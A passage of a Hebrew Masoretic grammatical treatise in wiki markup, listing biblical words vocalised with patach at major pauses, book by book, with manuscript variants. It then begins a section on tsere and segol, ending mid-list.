אתנח' דשמואל פתחין יו&quot;ד, וסימן: {{צ|בְּצֶלְצַ֑ח}} {{ק|([[ש&quot;א י ב]])}}, {{צ|רֵאשִׁית הַחֵ֑רֶם}} {{ק|([[ש&quot;א טו כא]])}}, {{צ|וְאָוֶן וּתְרָפִים הַפְצַ֑ר}} {{ק|([[ש&quot;א טו כג]])}}, {{צ|גָּלְיָת שְׁמוֹ מִגַּ֑ת}} {{ק|([[ש&quot;א יז ד]])}}, {{צ|מֵרְשָׁעִים יֵצֵא רֶ֑שַׁע}} {{ק|([[ש&quot;א כד יג]])}}, {{צ|וַיֹּאמֶר דָּוִד לַאֲבִיגַ֑ל}} {{ק|([[ש&quot;א כה לב]])}}, {{צ|(מן השלל) [מֵהַשָּׁלָל] אֲשֶׁר הִצַּ֑לְנוּ}} {{ק|([[ש&quot;א ל כב]])}}, {{צ|וַיַּכֵּהוּ שָׁם הָאֱלֹהִים עַל הַשַּׁ֑ל}} {{ק|([[ש&quot;ב ו ז]])}}, {{צ|וַיְצַו (את) [אֶל] בֵּיתוֹ וַיֵּחָנַ֑ק}} {{ק|([[ש&quot;ב יז כג]])}}, {{צ|וַיֵּט שָׁמַיִם וַיֵּרַ֑ד}} {{ק|([[ש&quot;ב כב י]])}}.

[כי&quot;מ: סוף פסו' דשמואל (י&quot;ד) [ד'] פתח, וסימ': {{צ|תֹאכַֽל}} {{ק|([[ש&quot;א א ז]])}}, {{צ|זִיף בַּחֹֽרְשָׁה}} {{ק|([[ש&quot;א כג טו]])}}, {{צ|וַתְּהִי לוֹ כְּבַֽת}} {{ק|([[ש&quot;ב יב ג]])}}, {{צ|וַיֵּאָנַֽשׁ}} {{ק|([[ש&quot;ב יב טו]])}}.]

אתנח' דמלכים פתחין ה', וסימ': {{צ|אַחֲרֵי תִבְנִי בֶן גִּינַ֑ת}} {{ק|([[מ&quot;א טז כא]])}}, {{צ|וַתֵּלֶךְ לָקַחַת וַיִּקְרָא אֵלֶיהָ וַיֹּאמַ֑ר}} {{ק|([[מ&quot;א יז יא]])}}, [כי&quot;מ: וכל {{צ|וַיֹאמַר}} פתחין,] {{צ|כִּי לֹא פָתַח וַיַּ֑ךְ}} {{ק|([[מ&quot;ב טו טז]])}}, {{צ|וַיְנַחֵ֑שׁוּ}} {{ק|([[מ&quot;ב יז יז]])}}, {{צ|עָשׂוּ אֶת נֵרְגַ֑ל}} {{ק|([[מ&quot;ב יז ל]])}}.

[כי&quot;מ: סוף פסוק דמלכים ד' פתח, וסימ': {{צ|מִלִּפְנִים וְלַחִיצֽוֹן}} {{ק|([[מ&quot;א ו כט]])}}, {{צ|עֲדָיָה מִבָּצְקַֽת}} {{ק|([[מ&quot;ב כב א]])}}, {{צ|מִגַּת הַחֵֽפֶר}} {{ק|([[מ&quot;ב יד כה]])}}, {{צ|וַיְהַלֵּךְ אַֽט}} {{ק|([[מ&quot;א כא כז]])}}.] 

אתנח' דישעיה פתחין [כי&quot;פ: י'] [כי&quot;מ: (י&quot;ב) [י&quot;א]], וסימ': {{צ|וְעֵינָיו הָשַׁ֑ע}} {{ק|([[ישעיהו ו י]])}}, {{צ|הַהֹלְכִים לְאַ֑ט}} {{ק|([[ישעיהו ח ו]])}}, {{צ|נְעָרִים תְּרַטַּ֑שְׁנָה}} {{ק|([[ישעיהו יג יח]])}}, {{צ|בִּטְחוּ בַייָ עֲדֵי עַ֑ד}} {{ק|([[ישעיהו כו ד]])}}, [כי&quot;מ: (עולמי) {{צ|עַד עוֹלְמֵי עַֽד}} {{ק|([[ישעיהו מה יז]])}}, וכל {{צ|עַד}} דיקר' פתחין,] {{צ|תֵּלְדוּ קַ֑שׁ}} {{ק|([[ישעיהו לג יא]])}}, {{צ|הֶחְפִּיר לְבָנוֹן קָמַ֑ל}} {{ק|([[ישעיהו לג ט]])}}, {{צ|וַהֲצִיקוֹתִי לַאֲרִיאֵ֑ל}} {{ק|([[ישעיהו כט ב]])}}, {{צ|וַעֲפַר רַגְלַיִךְ יְלַחֵ֑כוּ}} {{ק|([[ישעיהו מט כג]])}}, {{צ|יַעֲלֶה הֲדַ֑ס}} {{ק|([[ישעיהו נה יג]])}}, {{צ|כַּדֶּשֶׁא תִפְרַ֑חְנָה}} {{ק|([[ישעיהו סו יד]])}}.

[כי&quot;מ: סופא דפסו' דישעיהו י&quot;ח פתחין, וסימ': {{צ|תְּעַכַּֽסְנָה}} {{ק|([[ישעיהו ג טז]])}}, {{צ|וְהַשַּׂהֲרֹנִֽים}} {{ק|([[ישעיהו ג יח]])}}, {{צ|תִּשְׁפַּֽלְנָה}} {{ק|([[ישעיהו ה טו]])}}, {{צ|בַּעֲרִיפֶֽיהָ}} {{ק|([[ישעיהו ה ל]])}}, {{צ|בֶּן־טָֽבְאַֽל}} {{ק|([[ישעיהו ז ו]])}}, {{צ|חָ֥שׁ בַּֽז}} {{ק|([[ישעיהו ח א]], [[ישעיהו ח ג|שם פסוק ג]])}}, {{צ|תִּשָּׁכַֽבְנָה}} {{ק|([[ישעיהו יג טז]])}}, {{צ|הִשְׁבַּֽתִּי}} {{ק|([[ישעיהו טז י]], [[ישעיהו כא ב|שם כא ב]])}}, {{צ|(היה) כַּאֲרִיאֵֽל}} {{ק|([[ישעיהו כט ב]])}}, {{צ|יִצַּֽתּוּ}} {{ק|([[ישעיהו לג יב]])}}, {{צ|מַרְחַקִּֽים}} {{ק|([[ישעיהו לג יז]])}}, {{צ|בָּזְזוּ בַֽז}} {{ק|([[ישעיהו לג כג]])}}, וכל {{צ|בַּז}} שהוא לשון ביזה פתח, {{צ|תִּפָּתַֽחְנָה}} {{ק|([[ישעיהו לה ה]])}}, {{צ|(ויחלו) [יְיַחֵֽלוּ]}} {{ק|([[ישעיהו מב ד]])}}, {{צ|הָשַֽׁב}} {{ק|([[ישעיהו מב כב]])}}, {{צ|עוֹלְמֵי עַֽד}} {{ק|([[ישעיהו מה יז]])}}, {{צ|לַעֲיֵפָֽה}} {{ק|([[ישעיהו מו א]])}}, {{צ|(ויחל) [וָחֵֽל]}} {{ק|([[ישעיהו כו א]])}}.]

אתנח' דירמיה פתחין ג', וסימ': {{צ|וַאֲמַרְתֶּם נִצַּ֑לְנוּ}} {{ק|([[ירמיהו ז י]])}}, {{צ|מְשֻׁבָה נִצַּ֑חַת}} {{ק|([[ירמיהו ח ה]])}}, [כי&quot;מ: {{צ|וְאַרְקָא לָא עֲבַ֑דוּ}} {{ק|([[ירמיהו י יא]])}}.] 

לית פתחין בסו' פסו' דירמיהו. 

אתנח' דיחזקאל פתחין ז', וסימ': {{צ|וִידֵי עַם הָאָרֶץ תִּבָּהַ֑לְנָה}} {{ק|([[יחזקאל ז כז]])}}, {{צ|בֶן אָדָם הֵאָנַ֑ח}} {{ק|([[יחזקאל כא יא]])}}, {{צ|בַּחֶרֶב תֵּהָרַ֑גְנָה}} {{ק|([[יחזקאל כו ו]])}}, {{צ|לָבַ֑ז}} {{ק|([[יחזקאל לד כב]])}}, {{צ|היושבים לָבֶ֑טַח}}. [כי&quot;מ: לית בָטָח בקר' בר מן א': {{צ|בֹּשׁוּ כִּי בָטָח}} {{ק|([[איוב ו כ]])}}, וכל לשון עשייה לשעבר פתח, כגון {{צ|בָטַח לִבִּי וְנֶעֱזָרְתִּי}} {{ק|([[תהלים כח ז]])}},] {{צ|וְלָבֹז בַּ֑ז}} {{ק|([[יחזקאל לח יב]])}} (וחביריו).

[כי&quot;מ: סוף פסו' דיחזקאל (ז') [ח'] פתח, וסימ': {{צ|(גויותהן) [גְּוִיֹּתֵיהֶֽם]}} {{ק|([[יחזקאל א כג]])}}, {{צ|הַחַשְׁמַֽלָה}} {{ק|([[יחזקאל ח ב]])}}, {{צ|בַּשָּׁשַֽׁר}} {{ק|([[יחזקאל כג יד]])}}, {{צ|לְהָבַֽר}} {{ק|([[ירמיהו ד יא]])}}, {{צ|וְלָבַֽז}} {{ק|([[יחזקאל כג מו]])}}, {{צ|בְּיַד מְחַלְלֶֽיךָ}} {{ק|([[יחזקאל כח ט]])}}, {{צ|תֵלַֽכְנָה}} {{ק|([[יחזקאל ל יז]])}}, {{צ|לָבַֽז}} {{ק|([[יחזקאל לו ה]])}}.] 

אתנח' דתרי עשר פתחין ח', וסימ': {{צ|לֹא רֻחָמָ֑ה}} {{ק|([[הושע א ו]])}} וחביריו {{ק|([[הושע א ח|שם פסוק ח]], [[הושע ב כה|שם ב כה]])}}, {{צ|סֻכַּת דָּוִיד הַנֹּפֶ֑לֶת}} {{ק|([[עמוס ט יא]])}}, {{צ|אֲשֶׁר בִּסְפָרַ֑ד}} {{ק|([[עובדיה א כ]])}}, {{צ|עַל מוֹרֶשֶׁת גַּ֑ת}} {{ק|([[מיכה א יד]])}}, [כי&quot;מ: וכל {{צ|גַּת}} דיקר' פתח,] {{צ|וְשֹׁד בְּהֵמוֹת יְחִיתַ֑ן}} {{ק|([[חבקוק ב יז]])}}, {{צ|וְיָדָיו תְּבַצַּ֑עְנָה}} {{ק|([[זכריה ד ט]])}}, {{צ|וְהַנָּשִׁים תִּשָּׁכַ֑בְנָה}} {{ק|([[זכריה יד ב]])}}. 

[כי&quot;מ: סוף פסוק דתרי עשר י' פתחין, וסימ': {{צ|תְּנָאַֽפְנָה}} {{ק|([[הושע ד יג]])}}, {{צ|יְשַׁחֲרֻֽנְנִי}} {{ק|([[הושע ה טו]])}}, {{צ|יונה}}, {{צ|וַיֵּרָדַֽם}} {{ק|([[יונה א ה]])}}, {{צ|מִזַּעְפּֽוֹ}} {{ק|([[יונה א טו]])}}, {{צ|תִּתְמוֹגַֽגְנָה}} {{ק|([[עמוס ט יג]])}}, {{צ|גזל בעולה}}, {{צ|תֶּחֱרַֽשְׁנָה}} {{ק|([[מיכה ז טז]])}}, {{צ|(ו)לֹא יְאַחֵֽר}} {{ק|([[חבקוק ב ג]])}}, {{צ|לְמַעַן כַּחֵֽשׁ}} {{ק|([[זכריה יג ד]])}}.]

[כי&quot;מ: סליקו להו אתנחתין וסוף פסוק דפתחין בנביאים.]

[כי&quot;מ: בדברי הימים לית פתח באתנח' וסוף פסוק.] 

אתנח' דתילים מ&quot;א פתחין, וסימ': {{צ|אֲסַפְּרָה}} {{ק|([[תהלים ב ז]])}}, {{צ|יָדְעוּ}} {{ק|([[תהלים יד ד]])}}, {{צ|יָדְעוּ}} {{ק|([[תהלים נג ה]])}}, {{צ|וַיֵּט}} {{ק|([[תהלים יח י]])}}, {{צ|חַטֹּאות}} {{ק|([[תהלים כה ז]])}}, {{צ|שָׁפְטֵנִי}} {{ק|([[תהלים כו א]])}}, {{צ|שָׁאַלְתִּי}} {{ק|([[תהלים כז ד]])}}, {{צ|רַבַּת}} {{ק|([[תהלים קכט א]])}}, {{צ|רִיבָה}} {{ק|([[תהלים לה א]])}}, {{צ|וּבְצַלְעִי}} {{ק|([[תהלים לה טו]])}}, {{צ|יִשְׂמְחוּ}} {{ק|([[תהלים לה יט]])}}, {{צ|שָׁלוֹם}} {{ק|([[תהלים לה כ]])}}, {{צ|רָאִיתָה}} {{ק|([[תהלים לה כב]])}}, {{צ|עֶזְרָתִי}} {{ק|([[תהלים מ יח]])}}, {{צ|עֶזְרִי}} {{ק|([[תהלים ע ו]])}}, {{צ|(בשמך) [כְּשִׁמְךָ]}} {{ק|([[תהלים מח יא]])}}, {{צ|יְכַבְּדָנְנִי}} {{ק|([[תהלים נ כג]])}}, {{צ|הִרְכַּבְתָּ}} {{ק|([[תהלים סו יב]])}}, {{צ|רָעָשָׁה}} {{ק|([[תהלים סח ט]])}}, {{צ|תִּשְׁכְּבוּן}} {{ק|([[תהלים סח יד]])}}, {{צ|נִחַר}} {{ק|([[תהלים סט ד]])}}, {{צ|רַבּוּ}} {{ק|([[תהלים סט ה]])}}, {{צ|בַּצָּרָה}} {{ק|([[תהלים פא ח]])}}, {{צ|חֶרְפָּה}} {{ק|([[תהלים סט כא]])}}, {{צ|שִׁיתֵמוֹ}} {{ק|([[תהלים פג יד]])}}, {{צ|בַּחֲצֵרֶיךָ}} {{ק|([[תהלים פד יא]])}}, {{צ|שָׁמְרָה}} {{ק|([[תהלים פו ב]])}}, {{צ|וַאֲנִי}} {{ק|([[תהלים מ יח]])}}, {{צ|לְפָנִים}} {{ק|([[תהלים קב כו]])}}, {{צ|לִמְנוֹת}} {{ק|([[תהלים צ יב]])}}, {{צ|דְּעוּ}} {{ק|([[תהלים ק ג]])}}, {{צ|יָשֵׂם}} {{ק|([[תהלים קז לה]])}}, {{צ|בִּשְׂפָתַי}} {{ק|([[תהלים קיט יג]])}}, {{צ|מִכָּל}} {{ק|([[תהלים קיט צט]])}}, {{צ|הַצִּילָה}} {{ק|([[תהלים קכ ב]])}}, {{צ|נָשָׂאתִי}} {{ק|([[תהלים קכג א]])}}, {{צ|רַבַּת}} קדמא {{ק|([[תהלים קכט א]])}}, {{צ|גָבַהּ}} {{ק|([[תהלים קלא א]])}}, {{צ|תִּדְבַּק}} {{ק|([[תהלים קלז ו]])}}, {{צ|שְׁמַע}} {{ק|([[תהלים קמג א]])}}, {{צ|הַלְלוּיָהּ}} קדמא {{ק|([[תהלים קמח א]])}}.

[כי&quot;מ: לית פתח בסו' פסוק דתילים.]

אתנח' דאיוב [כי&quot;מ: כ'] פתחין [כי&quot;פ: י&quot;ג], וסימן: {{צ|הַיּוֹם}} {{ק|([[איוב ג ד]])}}, {{צ|יֶחְשְׁכוּ}} {{ק|([[איוב ג ט]])}}, {{צ|מִבֹּקֶר}} {{ק|([[איוב ד כ]])}}, {{צ|יִרְחֲקוּ}} {{ק|([[איוב ה ד]])}}, {{צ|כָּלָה}} {{ק|([[איוב ז ט]])}}, {{צ|אַחַת}} {{ק|([[איוב ט כב]])}}, {{צ|פְּנוּ}} {{ק|([[איוב כא ה]])}}, [כי&quot;מ: {{צ|בַּדֵּי}} {{ק|([[איוב יז טז]])}}, {{צ|(על) פֶרֶץ [עַל] פְּנֵי פֶ֑רֶץ}} {{ק|([[איוב טז יד]] עי&quot;ש)}}], {{צ|יִתְּצֵנִי סָבִיב}} {{ק|([[איוב יט י]])}}, {{צ|יִשָּׂאֵהוּ}} {{ק|([[איוב כז כא]])}}, {{צ|כִּי אָמַר}} {{ק|([[איוב לד ה]])}}, {{צ|אַחַת}} {{ק|([[איוב ט כב]])}}, {{צ|אֶמְאַס}} {{ק|([[איוב מב ו]])}}, [כי&quot;מ: {{צ|מִנְּעוּרַי}} {{ק|([[איוב לא יח]])}}, {{צ|פַחִים}} {{ק|([[איוב כב י]])}}, {{צ|הָיִיתִי לַעִוֵּר}} {{ק|([[איוב כט טו]])}}, {{צ|(הורוני) [הֹרָנִי] לַחֹמֶר}} {{ק|([[איוב ל יט]])}}, {{צ|מִשְׁפָּט יַחֲבוֹשׁ}} {{ק|([[איוב לד יז]])}}, {{צ|הִקְדִּימַנִי וַאֲשַׁלֵּם}} {{ק|([[איוב מא ג]])}}].

[כי&quot;מ: לית פתחין בסו' פסוק' דאיוב.]

אתנחתין דמשלי פתחין י&quot;א, וסימ': {{צ|לְנָבָל}} {{ק|([[משלי יז ז]])}}, {{צ|הֲתָעִיף}} {{ק|([[משלי כג ה]])}}, {{צ|שְׂדֵה}} {{ק|([[משלי כד ל]])}}, {{צ|תִּשְׂבַּ֑עְנָה}} {{ק|([[משלי כז כ]])}}, {{צ|גָּלָה חָצִיר}} {{ק|([[משלי כז כה]])}}, {{צ|(ענוים) [עֲנִיִּים] מֵאֶ֑רֶץ}} {{ק|([[משלי ל יד]])}}, {{צ|לַעֲלוּקָה}} {{ק|([[משלי ל טו]])}}, {{צ|שָׂבְעָה מַּ֑יִם}} {{ק|([[משלי ל טז]])}}, {{צ|עֹרְבֵי נַ֑חַל}} {{ק|([[משלי ל יז]])}}, {{צ|אֶשְׂבַּע}} {{ק|([[משלי ל ט]])}}, {{צ|רָגְזָה אֶ֑רֶץ}} {{ק|([[משלי ל כא]])}}. 

[כי&quot;מ: לית פתח בסו' פסו' דמשלי. לית [פתח ב]אתנח' וסוף פסוק' דרות. לית פתחין באתנח' וסו' פסו' דשיר השירים.] 

אתנח' דקהלת פתח חד, וסימ': {{צ|מְקוֹמְךָ אַל תַּנַּ֑ח}} {{ק|([[קהלת י ד]])}}. 

[כי&quot;מ: לית פתח בסו' פסוק' דקהלת. לית פתחין וסו' פסוק דאיכה.] 

[כי&quot;מ: אתנח' דאסתר חד פתח, וסימ': {{צ|מִשֹּׁמְרֵי הַסַּף}} {{ק|([[אסתר ו ב]])}}.]

[כי&quot;מ: לית פתח בסו' פסוק דאסתר.]

אתנח' דדניאל פתחין י&quot;ט, וסימ': {{צ|הַמֶּלְצַ֑ר}} {{ק|([[דניאל א יא]])}}, {{צ|לְבַיְתֵהּ אֲזַ֑ל}} {{ק|([[דניאל ב יז]])}}, {{צ|וּדְרָעוֹהִי דִּי כְסַ֑ף}} {{ק|([[דניאל ב לב]])}}, {{צ|דִי פַרְזְלָא לֶהֱוֵא בַ֑הּ}} {{ק|([[דניאל ב מא]])}}, {{צ|וּמִנְּהֵין חֲסַ֑ף}} {{ק|([[דניאל ב מב]])}}, {{צ|יָכִל לְשֵׁיזָבוּתַ֑נָא}} {{ק|([[דניאל ג יז]])}}, {{צ|וִידַחֲלִנַּ֑נִי}} {{ק|([[דניאל ד ב]])}}, {{צ|יַרְחִין תְּרֵי עֲשַׂ֑ר}} {{ק|([[דניאל ד כו]])}}, {{צ|קָל מִן שְׁמַיָּא נְפַ֑ל}} {{ק|([[דניאל ד כח]])}}, {{צ|וְרַבְרְבָנַי יְבַע֑וֹן}} {{ק|([[דניאל ד לג]])}}, {{צ|לְרַבְרְבָנוֹהִי אֲלַ֑ף}} {{ק|([[דניאל ה א]])}}, {{צ|לְבֵית מִשְׁתְּיָא עַלַּ֑ת}} {{ק|([[דניאל ה י]])}}, {{צ|וּפִשְׁרֵהּ לְהוֹדָעֻתַ֑נִי}} {{ק|([[דניאל ה טו]])}}, {{צ|לְאָחֳרָן הַ֑ב}} {{ק|([[דניאל ה יז]])}}, {{צ|וְלָא יָדְעִין שַׁבַּ֑חְתָּ}} {{ק|([[דניאל ה כג]])}}, {{צ|רְשַׁ֑מְתָּ}} {{ק|([[דניאל ו יד]])}}, {{צ|עַל גַּבַּ֑הּ}} {{ק|([[דניאל ז ו]])}}, {{צ|אֶתְעֲקַרָה מִן קֳדָמַ֑הּ}} {{ק|([[דניאל ז ח]])}}, [כי&quot;מ: {{צ|יָדוֹ בַּאֲרָצוֹת}} {{ק|([[דניאל יא מב]])}},] {{צ|וַעֲשֵׂה אַל תְּאַחַ֑ר}} {{ק|([[דניאל ט יט]])}}. 

[כי&quot;מ: לית פתח בסו' פסו' דדניאל.]

אתנח' דעזרא פתחין ד', וסימ': {{צ|וּלְהֵיבָלָה כְּסַף וּדְהַ֑ב}} {{ק|([[עזרא ז טו]])}}, {{צ|בִּשְׁאָר כַּסְפָּא וְדַהֲבָה לְמֶעְבַּ֑ד}} {{ק|([[עזרא ז יח]])}}, {{צ|דִּי יִפֶּל לָךְ לְמִנְתַּ֑ן}} {{ק|([[עזרא ז כ]])}}, {{צ|כִּי חָתָן הוּא לִשְׁכַנְיָה בֶן אָרַ֑ח}} {{ק|([[נחמיה ו יח]])}}. 

[כי&quot;מ: סוף פסו' דעזרא י&quot;ג פתחין, וסימ': {{צ|וְאֻשַּׁיָּא יַחִיטוּ}} {{ק|([[עזרא ד יב]])}}, {{צ|הָחָרְבַת}} {{ק|([[עזרא ד טו]])}}, {{צ|מִתְעֲבֶד בַּהּ}} {{ק|([[עזרא ד יט]])}}, {{צ|בִנְיָנָא בָּנַיִן}} {{ק|([[עזרא ה ד]])}}, {{צ|אָסְפַּרְנָא עֲבַדוּ}} {{ק|([[עזרא ו יג]])}}, {{צ|תַּעַבְדוּן}} {{ק|([[עזרא ז יח]])}}, {{צ|תחזקנה}}, {{צ|לֹא הִגַּדְתִּי}} {{ק|([[נחמיה ב טז]])}}, {{צ|(ובנותינו) [וּכְרָמֵינוּ] לַאֲחֵרִים}} {{ק|([[נחמיה ה ה]])}}, {{צ|לֹא אָכַלְתִּי}} {{ק|([[נחמיה ה יד]])}}, {{צ|לְךָ מִשְׁתַּחֲוִים}} {{ק|([[נחמיה ט ו]])}}, {{צ|בַּעֲנָה}} {{ק|([[נחמיה י כח]])}}, {{צ|גֵּי הַחֲרָשִׁים}} {{ק|([[נחמיה יא לה]])}}.] 

[כי&quot;מ: ואע&quot;פ שכתבנו שאין פתח בסו' פסו' באיוב, כבר מצאנו בספרים הבאים מן אלקירואן כ&quot;ה פתחין בסו' פסו', וסימ': {{צ|שָׂגְבוּ יֶֽשַׁע}} {{ק|([[איוב ה יא]])}}, {{צ|תְּבַעֲתַֽנִּי}} {{ק|([[איוב ז יד]] ועוד 2)}}, {{צ|עַכָּבִישׁ מִבְטַחֽוֹ}} {{ק|([[איוב ח יד]])}}, {{צ|תָּם אָנִי וַיַּעְקְשֵֽׁנִי}} {{ק|([[איוב ט כ]])}}, {{צ|אוֹ אֲדַבֵּר וַהֲשִׁיבֵֽנִי}} {{ק|([[איוב יג כב]])}}, {{צ|(חנף) [אֱנוֹשׁ] הֶאֱבַֽדְתָּ}} {{ק|([[איוב יד יט]])}}, {{צ|וְזֶה חָזִיתִי וַאֲסַפֵּֽרָה}} {{ק|([[איוב טו יז]])}}, {{צ|לֹא רַעֲנָנָֽה}} {{ק|([[איוב טו לב]])}}, {{צ|יַאֲמִין בַּחַיִּֽין}} {{ק|([[איוב כד כב]])}}, {{צ|לֹא אֲכַחֵֽד}} {{ק|([[איוב כז יא]])}}, {{צ|אֲבֵלִים יְנַחֵֽם}} {{ק|([[איוב כט כה]])}}, {{צ|כֻתָּנְתִּי יַאַזְרֵֽנִי}} {{ק|([[איוב ל יח]])}}, {{צ|יִכְרְעוּן אֲחֵרִֽין}} {{ק|([[איוב לא י]])}}, {{צ|אַלְמָנָה אֲכַלֶּֽה}} {{ק|([[איוב לא טז]])}}, {{צ|וּמִבֶּטֶן אִמִּי אַנְחֶֽנָּה}} {{ק|([[איוב לא יח]])}}, {{צ|אָמַרְתִּי מִבְטַחִֽי}} {{ק|([[איוב לא כד]])}}, {{צ|(שפתי) [דְּבָרַי] הַאֲזִֽינָה}} {{ק|([[איוב לג א]])}}, {{צ|מַאֲכַל תַּאֲוָֽה}} {{ק|([[איוב לג כ]])}}, {{צ|אַנְשֵׁי רֶֽשַׁע}} {{ק|([[איוב לד ח]])}}, {{צ|הַשָּׁמַיִם יְחַכְּמֵֽנוּ}} {{ק|([[איוב לה יא]])}}, {{צ|וַתְּטַהֲרֵֽם}} {{ק|([[איוב לז כא]])}}, {{צ|לֹא יְעַנֶּֽה}} {{ק|([[איוב לז כג]])}}, {{צ|תְּשַׁלַּֽחְנָה}} {{ק|([[איוב לט ג]])}}, {{צ|רַעְמָֽה}} {{ק|([[איוב לט יט]])}}, {{צ|אַל תּוֹסַֽף}} {{ק|([[איוב מ לב]])}}.] 

[כי&quot;מ: ובמשלי י&quot;ב פתחין, וסימ': {{צ|כָּל תּוֹכַחְתִּֽי}} {{ק|([[משלי א ל]])}}, {{צ|תִנְצְרֶֽכָּה}} {{ק|([[משלי ב יא]])}}, {{צ|כְּסִילִים תְּאַבְּדֵֽם}} {{ק|([[משלי א לב]])}}, {{צ|מְפַלֵּֽס}} {{ק|([[משלי ה כא]])}}, {{צ|לְעַפְעַפֶּֽיךָ}} {{ק|([[משלי ו ד]])}}, {{צ|מְדָנִים בֵּין אַחִֽים}} {{ק|([[משלי ו יט]])}}, {{צ|תִשָּׂרַֽפְנָה}} {{ק|([[משלי ו כז]])}}, {{צ|לַיְלָה וַאֲפֵלָֽה}} {{ק|([[משלי ז ט]])}}, {{צ|יָבִין לַאֲשֻׁרֽוֹ}} {{ק|([[משלי יד טו]])}}, {{צ|יָכִין צַעֲדֽוֹ}} {{ק|([[משלי טז ט]])}}, {{צ|לֹא תִשְׂבַּֽעְנָה}} {{ק|([[משלי כז כ]])}}, {{צ|גֶּבֶר בְּעַלְמָֽה}} {{ק|([[משלי ל יט]])}}.] 

[כי&quot;מ: וברות לית פתח באתנח; וחד פתח בסוף פסוק: {{צ|וַתִּשְׂבַּע וַתֹּתַר}} {{ק|([[רות ב יד]])}}.]

[כי&quot;מ: ובשיר השירים חד פתח באתנ', וסימ': {{צ|פִּתַּח הַסְּמָדַר}} {{ק|([[שה&quot;ש ז יג]])}}; וחד פתח בסו' פסו', וסימ': {{צ|חִבְּלָה יְלָדַֽתְךָ}} {{ק|([[שה&quot;ש ח ה]])}}.] 

[כי&quot;מ: ובקהלת חד פתח בסו' פסו': {{צ|הַכֹּל הֶֽבֶל}} בתראה {{ק|([[קהלת יב ח]] עי&quot;ש)}}.] 

[כי&quot;מ: ובאיכה ב' פתחין בסו' פס', וסימ': {{צ|לָמַֽס}} {{ק|([[איכה א א]])}}, {{צ|וַאֲנִיָּֽה}} {{ק|([[איכה ב ה]])}}.] 

[כי&quot;מ: ובאסתר חד פתח בסו' פסו', וסימ': {{צ|לוֹ לְבַת}} {{ק|([[אסתר ב ז]])}}.] 

[כי&quot;מ: ובדניאל כ&quot;ד פתחין בסו' פסוק, וסימ': {{צ|הַחֲוֹֽנִי}} {{ק|([[דניאל ב ו]])}}, {{צ|תְּ[הַ]חֲוֻנַּֽנִי}} {{ק|([[דניאל ב ט]])}}, {{צ|מִלְּתָא הוֹדַֽע}} {{ק|([[דניאל ב יז]])}}, {{צ|לְמַלְכָּא [יְ]הוֹדַע}} {{ק|([[דניאל ב כה]])}}, {{צ|תִּנְדַּע}} {{ק|([[דניאל ב ל]])}}, {{צ|לְהַחֲוָיָה}} {{ק|([[דניאל ג לב]])}}, {{צ|(ו)יְבַהֲלֻנַּנִי}} {{ק|([[דניאל ד ב]])}}, {{צ|יְהוֹדְעֻנַּנִי}} {{ק|([[דניאל ד ג]] ועוד 1)}}, {{צ|וּפִשְׁרֵהּ אֱמַר}} {{ק|([[דניאל ד ו]])}}, {{צ|יְקִים עֲלַהּ}} {{ק|([[דניאל ד יד]])}}, {{צ|יִתְּנִנַּהּ}} {{ק|([[דניאל ד כב]] ועוד 1)}}, {{צ|מָה עֲבַדְתְּ}} {{ק|([[דניאל ד לב]])}}, {{צ|יִשְׁלַט}} {{ק|([[דניאל ה ז]])}}, {{צ|תִּשְׁלַט}} {{ק|([[דניאל ה טז]])}}, {{צ|יְדַעְתָּ}} {{ק|([[דניאל ה כב]])}}, {{צ|(ו)לָא הַדַּרְתָּ}} {{ק|([[דניאל ה כג]])}}, {{צ|וְהַשְׁלְמַהּ}} {{ק|([[דניאל ה כו]])}}, {{צ|בֵּאדַיִן… אֲזַל}} {{ק|([[דניאל ו כ]])}}, {{צ|יְהִיב לַהּ}} {{ק|([[דניאל ז ד]] ועוד 2)}}, {{צ|רֵאשִׁי יְבַהֲלֻנַּנִי}} {{ק|([[דניאל ז טו]])}}, {{צ|רַב מִן חַבְרָתַהּ}} {{ק|([[דניאל ז כ]])}}, {{צ|וְתַדְּקִנַּהּ}} {{ק|([[דניאל ז כג]])}}, {{צ|וּלְהַשְׂכִּיל}} {{ק|([[דניאל ט יג]])}}, {{צ|מִיכָאֵל שַׂרְכֶם}} {{ק|([[דניאל י כא]])}}.]

שלמו מחלקות קמץ ופתח.

==1.6==
עתה אבאר שימושי צירי וסגול התחתון ואת מחלקותם, באי זה עניין יתיישבו שניהם. 

עתה דע והבן, שכל {{צ|אֵל}} שהוא קודש הוא ננקד בצירי, כגון {{צ|אֵל גָּדוֹל וְנוֹרָא}} {{ק|([[דברים ז כא]])}}, {{צ|הָאֵל הַגָּדֹל הַגִּבֹּר וְהַנּוֹרָא}} {{ק|([[דברים י יז]])}}. וגם אם הוא לשון חוזק או בלשון אֵלה, כגון {{צ|בְּיַד אֵיל גּוֹיִם}} {{ק|([[יחזקאל לא יא]])}}, {{צ|יֶשׁ לְאֵל יָדִי}} {{ק|([[בראשית לא כט]])}}, וכגון {{צ|אֶת כָּל הָאֲרָצֹת הָאֵל}} {{ק|([[בראשית כו ג]])}}, כולהון ננקדים בצירי. אבל אם הוא לשון משרת, כגון [כי&quot;מ: {{צ|אֶל מֹשֶׁה וְאֶל אַהֲרֹן}} {{ק|([[שמות ו יג]])}},] {{צ|וְאֶל הַבָּקָר}} {{ק|([[בראשית יח ז]])}}, {{צ|אֶל אֹהֶל מוֹעֵד}} {{ק|([[שמות כח מג]])}}, [כי&quot;פ: וכגון] [כי&quot;מ: או אם הוא נתמה בה&quot;י כגון,] {{צ|הַאֶל אֲדֹנֶיךָ וְאֵלֶיךָ}} {{ק|([[ישעיהו לו יב]])}}, הן ננקדין בסגול. 

וכל {{צ|אֵת}} שהוא עומד בטעם או במשרת, ננקד בצירי, כגון {{צ|וְעָשִׂיתָ אֵ֖ת חֲצַר הַמִּשְׁכָּן}} {{ק|([[שמות כז ט]])}}, {{צ|וְאֵ֖ת פָּרֹכֶת הַמָּסָךְ}} {{ק|([[שמות לה יב]])}}, {{צ|אֵ֥ת הַשָּׁמַיִם וְאֵ֖ת הָאָרֶץ}} {{ק|([[בראשית א א]])}}. ואם הוא בא במקף עם התיבה שלאחריו, כגון {{צ|אֶת־הָאָרֹן וְאֶת־בַּדָּיו}} {{ק|([[שמות לה יב]])}}, {{צ|וְאֶת־הַכַּפֹּרֶת}} {{ק|([[שמות לא ז]])}}, הוא ננקד בסגול. בר מן ד' שאף על פי שהן עומדין במשרת הן נפתחין בניקוד צירי, ואלו הן: {{צ|אֶ֥ת כָּל גָּבֹהַּ יִרְאֶה}} {{ק|([[איוב מא כו]] עי&quot;ש)}}, {{צ|אֶ֥ת אֲרַם נַהֲרַיִם}} {{ק|([[תהלים ס ב]])}}, 